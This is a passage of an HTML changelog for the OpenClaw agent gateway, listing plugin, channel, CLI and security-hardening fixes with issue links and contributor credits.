<p>Plugins/hooks: include explicitly enabled hook-capable plugins in the Gateway startup runtime scope so embedded PI runs can see their <code>before_prompt_build</code> and <code>agent_end</code> hooks. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371680261" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76649" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76649/hovercard" href="https://github.com/openclaw/openclaw/issues/76649">#76649</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wwf3045/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wwf3045">@wwf3045</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MkDev11/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MkDev11">@MkDev11</a>.</p>
</li>
<li>
<p>Plugins/OpenCode: expose Claude thinking profiles through the lightweight provider policy surface so directive and session validation keep <code>xhigh</code>, <code>adaptive</code>, and <code>max</code> for <code>opencode/claude-opus-4-7</code> instead of remapping <code>xhigh</code> to <code>high</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371666992" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76648" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76648/hovercard" href="https://github.com/openclaw/openclaw/issues/76648">#76648</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aaajiao/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aaajiao">@aaajiao</a>.</p>
</li>
<li>
<p>Channels/QQ Bot: resolve structured <code>clientSecret</code> SecretRefs before QQ token exchange, expose the QQ Bot secret contract to secrets tooling, and reject legacy <code>secretref:/...</code> marker strings. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355033110" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74772" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/74772/hovercard" href="https://github.com/openclaw/openclaw/pull/74772">#74772</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xialonglee/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xialonglee">@xialonglee</a>.</p>
</li>
<li>
<p>Agents: keep active streamed provider replies alive by refreshing guarded fetch timeouts on raw body chunks and surface true prompt stream timeouts as explicit errors instead of partial assistant fragments. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370351854" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76307" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76307/hovercard" href="https://github.com/openclaw/openclaw/issues/76307">#76307</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371560110" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76633" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76633/hovercard" href="https://github.com/openclaw/openclaw/pull/76633">#76633</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/MkDev11/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/MkDev11">@MkDev11</a>.</p>
</li>
<li>
<p>Plugins/externalization: keep official ACPX, Google Chat, and LINE install specs on production package names, leaving beta-tag probing to the explicit OpenClaw beta update channel. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>CLI/doctor: keep missing-plugin repair from overriding official catalog metadata with runtime fallbacks, so ACPX repairs preserve the official npm spec during the externalization rollout. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>CLI/doctor: match stale bundled-plugin install records by exact parsed package name so doctor does not remove external npm or ClawHub records that only share an OpenClaw package-name prefix.</p>
</li>
<li>
<p>Plugins/catalog: preserve ClawHub install specs when generating the packaged channel catalog so future storepack-first channel plugins keep their remote source instead of becoming npm-only. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/catalog: pin bare npm specs from prerelease external channel catalog entries to the catalog entry version, so beta catalogs do not silently install the latest stable package.</p>
</li>
<li>
<p>Plugins/update: treat catalog-matched official npm updates and OpenClaw-authored externalized-bundled npm bridges as trusted official installs so launch-code plugins can update or migrate out of the bundled tree without scanner false positives. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/onboarding: fall back from ClawHub to npm only for missing package/version errors, keeping integrity and verification failures fail-closed during storepack rollout. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>CLI/onboarding: mask credential inputs (model-auth provider API keys, gateway tokens and passwords, web-search provider keys, and skill env-var values) in the interactive <code>openclaw onboard</code> wizard so pasted secrets no longer echo into terminal scrollback, <code>Start-Transcript</code> logs, or screenshots; existing tokens/passwords are preserved through a masked-preview confirm step before the sensitive prompt. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/anurag-bg-neu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/anurag-bg-neu">@anurag-bg-neu</a>.</p>
</li>
<li>
<p>Control UI/Talk: fix Talk (OpenAI Realtime WebRTC) CORS failure by stripping server-side-only attribution headers (<code>originator</code>, <code>version</code>, <code>User-Agent</code>) from browser offer headers; <code>api.openai.com/v1/realtime/calls</code> only allows <code>authorization</code> and <code>content-type</code> in its CORS preflight, so forwarding these headers caused the browser SDP exchange to fail. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370828107" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76435" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76435/hovercard" href="https://github.com/openclaw/openclaw/issues/76435">#76435</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>.</p>
</li>
<li>
<p>Chat delivery: make <code>/verbose on|full|off</code> changes affect subsequent tool-use chat bubbles again, including channels with draft preview tool progress enabled, while preserving one-shot verbose directives.</p>
</li>
<li>
<p>CLI/logs: auto-reconnect <code>openclaw logs --follow</code> on transient gateway disconnects with bounded backoff, stderr retry warnings, <code>[logs] gateway reconnected</code> recovery notices, and JSON <code>notice</code> records while still exiting immediately on non-recoverable auth or configuration errors. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355075599" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/74782" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/74782/hovercard" href="https://github.com/openclaw/openclaw/issues/74782">#74782</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4357892191" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75059" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75059/hovercard" href="https://github.com/openclaw/openclaw/pull/75059">#75059</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4362488693" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75372" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75372/hovercard" href="https://github.com/openclaw/openclaw/pull/75372">#75372</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shashank-poola/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shashank-poola">@shashank-poola</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RomneyDa/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RomneyDa">@RomneyDa</a>.</p>
</li>
<li>
<p>Codex/WhatsApp: keep the <code>message</code> dynamic tool available when Codex source replies are configured for message-tool delivery, so coding-profile chat agents do not complete turns privately without a visible channel reply. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371728923" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76660" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76660/hovercard" href="https://github.com/openclaw/openclaw/issues/76660">#76660</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371734457" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76663" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76663/hovercard" href="https://github.com/openclaw/openclaw/pull/76663">#76663</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/VishalJ99/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/VishalJ99">@VishalJ99</a>.</p>
</li>
<li>
<p>Codex/heartbeat: send heartbeat-specific initiative guidance through Codex turn-scoped collaboration-mode instructions, keeping ordinary message-tool chat turns in Default mode without heartbeat prompt leakage. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pashpashpash/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pashpashpash">@pashpashpash</a>.</p>
</li>
<li>
<p>Plugins/onboarding: trust optional official plugin and web-search installs selected from the official catalog so npm security scanning treats them like other source-linked official install paths. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Agents/web_search: keep installed runtime provider discovery enabled when web-search metadata is missing, so externally installed official providers such as Brave remain visible to agent and cron turns instead of falling back to bundled-only lookup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371532832" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76626" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76626/hovercard" href="https://github.com/openclaw/openclaw/issues/76626">#76626</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Tests/plugins: expose the Discord npm onboarding Docker lane as a package script and assert planned Docker lanes point at real scripts, so external-channel onboarding coverage can actually run. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/ClawHub: explain unreleased ClawHub plugin artifacts as a rollout-state fallback to <code>npm:</code> installs instead of leaking raw archive metadata fields. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Tests/onboarding: assert packaged channel onboarding leaves <code>openclaw channels status --json</code> and plain <code>openclaw status</code> showing the configured channel, covering the empty Channels table regression path. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Microsoft Teams: persist sent-message markers across Gateway restarts so follow-up replies to recent bot messages keep resolving the original conversation instead of dropping out after restart, with marker TTLs preserved on best-effort recovery. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363955622" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75585" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75585/hovercard" href="https://github.com/openclaw/openclaw/pull/75585">#75585</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Matrix: persist pending approval reaction targets across Gateway restarts so room approvers can still approve or deny outstanding prompts after OpenClaw comes back online. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4363955743" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/75586" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/75586/hovercard" href="https://github.com/openclaw/openclaw/pull/75586">#75586</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Channels/onboarding: map third-party official WeCom and Yuanbao catalog entries to their published plugin ids so npm installs pass expected-plugin validation. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugin SDK: restore the Mattermost and Matrix compatibility subpaths used by the pinned Yuanbao channel package so external installs can module-load after npm install. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/install: keep managed npm-root security scans from treating earlier plugin <code>openclaw</code> peer links as failures, so one external plugin install cannot poison later official npm installs. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Memory LanceDB: allow installed-but-unconfigured plugin metadata to load so onboarding and setup flows can prompt for embedding config instead of failing the plugin registry first. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>CLI/plugins: keep <code>plugins enable</code> and <code>plugins disable</code> from creating unconfigured channel config sections, so channel plugins with required setup fields no longer fail validation during lifecycle probes. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Doctor/config: set <code>messages.groupChat.visibleReplies: "message_tool"</code> during compatibility repair for configured-channel configs that omit a visible-reply policy, so upgrades can persist the intended tool-only group/channel reply default. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kagura-agent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kagura-agent">@kagura-agent</a>.</p>
</li>
<li>
<p>Agents/sessions: keep delayed <code>sessions_send</code> A2A replies alive after soft wait-window timeouts, while preserving terminal run timeouts and avoiding stale target replies in requester sessions. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370851415" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76443" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76443/hovercard" href="https://github.com/openclaw/openclaw/issues/76443">#76443</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ryswork1993/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ryswork1993">@ryswork1993</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>TUI/Control UI: fix <code>/think</code> command showing only base thinking levels when the active session uses a different model from the default, so provider-specific levels like DeepSeek V4 Pro's <code>xhigh</code> and <code>max</code> are now visible and selectable. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370999388" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76482" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76482/hovercard" href="https://github.com/openclaw/openclaw/issues/76482">#76482</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>CLI/sessions: keep intentional empty agent replies silent after tool-delivered channel output, instead of surfacing a misleading "No reply from agent." fallback. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Config/doctor: cap <code>.clobbered.*</code> forensic snapshots per config path and serialize snapshot writes so repeated <code>doctor --fix</code> recovery loops cannot flood the config directory. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370911177" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76454" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76454/hovercard" href="https://github.com/openclaw/openclaw/issues/76454">#76454</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4250740667" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65649" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/65649/hovercard" href="https://github.com/openclaw/openclaw/pull/65649">#65649</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JUSTICEESSIELP/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JUSTICEESSIELP">@JUSTICEESSIELP</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rsnow/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rsnow">@rsnow</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Feishu: suppress duplicate text when replies send native voice media, preserve captions for ordinary audio files, and send fallback text plus attachment links when <code>audioAsVoice</code> transcode/upload fallback produces a generic file.</p>
</li>
<li>
<p>TTS/plugins: activate configured and inherited speech provider plugins during Gateway startup, so Microsoft and Local CLI voice replies work immediately after persona selection instead of staying invisible in the startup plugin set. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370996274" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76481" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76481/hovercard" href="https://github.com/openclaw/openclaw/issues/76481">#76481</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Feishu: keep packaged Feishu startup from bundling the Lark SDK's ESM <code>__dirname</code> path by loading the SDK as a plugin-local runtime dependency. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370278565" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76291" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76291/hovercard" href="https://github.com/openclaw/openclaw/issues/76291">#76291</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371035544" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76494" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76494/hovercard" href="https://github.com/openclaw/openclaw/issues/76494">#76494</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370701342" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76392" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76392/hovercard" href="https://github.com/openclaw/openclaw/pull/76392">#76392</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/zqchris/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/zqchris">@zqchris</a>.</p>
</li>
<li>
<p>Plugins/npm: build package-local runtime dist files for publishable plugins and stop listing root-package-excluded plugin sidecars in the core package metadata, so npm plugin installs such as <code>@openclaw/diffs</code> and <code>@openclaw/discord</code> no longer publish source-only runtime payloads. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370790448" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76426" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76426/hovercard" href="https://github.com/openclaw/openclaw/issues/76426">#76426</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/PrinceOfEgypt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/PrinceOfEgypt">@PrinceOfEgypt</a>.</p>
</li>
<li>
<p>Channels/secrets: resolve SecretRef-backed channel credentials through external plugin secret contracts after the plugin split, covering runtime startup, target discovery, webhook auth, disabled-account enumeration, and late-bound web_search config. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370595346" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76371" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76371/hovercard" href="https://github.com/openclaw/openclaw/issues/76371">#76371</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370882504" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76449" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76449/hovercard" href="https://github.com/openclaw/openclaw/pull/76449">#76449</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshavant/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshavant">@joshavant</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/neeravmakwana/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/neeravmakwana">@neeravmakwana</a>.</p>
</li>
<li>
<p>Docker/Gateway: pass Docker setup <code>.env</code> values into gateway and CLI containers and preserve exec SecretRef <code>passEnv</code> keys in managed service plans, so 1Password Connect-backed Discord tokens keep resolving after doctor or plugin repair. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Control UI/WebChat: explain compaction boundaries in chat history and link directly to session checkpoint controls so pre-compaction turns no longer look silently lost after refresh. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370766004" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76415" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76415/hovercard" href="https://github.com/openclaw/openclaw/issues/76415">#76415</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BunsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BunsDev">@BunsDev</a>.</p>
</li>
<li>
<p>Agents/compaction: add an optional bundled compaction notifier hook and retry once from the compacted transcript when automatic compaction leaves a turn without a final visible reply. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4371697581" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76651" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/76651/hovercard" href="https://github.com/openclaw/openclaw/pull/76651">#76651</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/simplyclever914/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/simplyclever914">@simplyclever914</a>.</p>
</li>
<li>
<p>Agents/incomplete-turn: detect and surface a warning when the agent's final text after a tool-call chain is silently dropped because the post-tool assistant response was never produced, instead of completing the turn with only the pre-tool analysis text. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370985585" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76477" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76477/hovercard" href="https://github.com/openclaw/openclaw/issues/76477">#76477</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/amknight/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/amknight">@amknight</a>.</p>
</li>
<li>
<p>Channels/WhatsApp: attach native outbound mention metadata for group text and media captions by resolving <code>@+&lt;digits&gt;</code> and <code>@&lt;digits&gt;</code> tokens against WhatsApp participant data, including LID groups. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4041311446" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39879" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/39879/hovercard" href="https://github.com/openclaw/openclaw/issues/39879">#39879</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4163220091" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56863" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/56863/hovercard" href="https://github.com/openclaw/openclaw/pull/56863">#56863</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kengi1437/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kengi1437">@kengi1437</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joe2643/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joe2643">@joe2643</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fridayck/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fridayck">@fridayck</a>.</p>
</li>
<li>
<p>Channels/WhatsApp: require outbound mention tokens to end at a word boundary so phone-number prefixes inside longer strings no longer trigger hidden native mentions.</p>
</li>
<li>
<p>Plugins/uninstall: remove empty managed git install parent directories after deleting cloned plugin repos and cover npm/git uninstall residue in Docker plugin lifecycle tests. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/install: resolve bare official external plugin IDs such as <code>brave</code> through the official catalog when no bundled source is available, so packaged installs fetch the intended scoped npm package instead of an unrelated unscoped package. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4370601523" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/76373" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/76373/hovercard" href="https://github.com/openclaw/openclaw/issues/76373">#76373</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bek91/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bek91">@bek91</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
<p>Plugins/install: require OpenClaw-owned install provenance before granting official npm plugin scanner trust, so direct npm package names no longer bypass launch-code scanning while catalog, onboarding, and doctor installs stay trusted. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/fede-kamel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/fede-kamel">@fede-kamel</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</p>
</li>
<li>
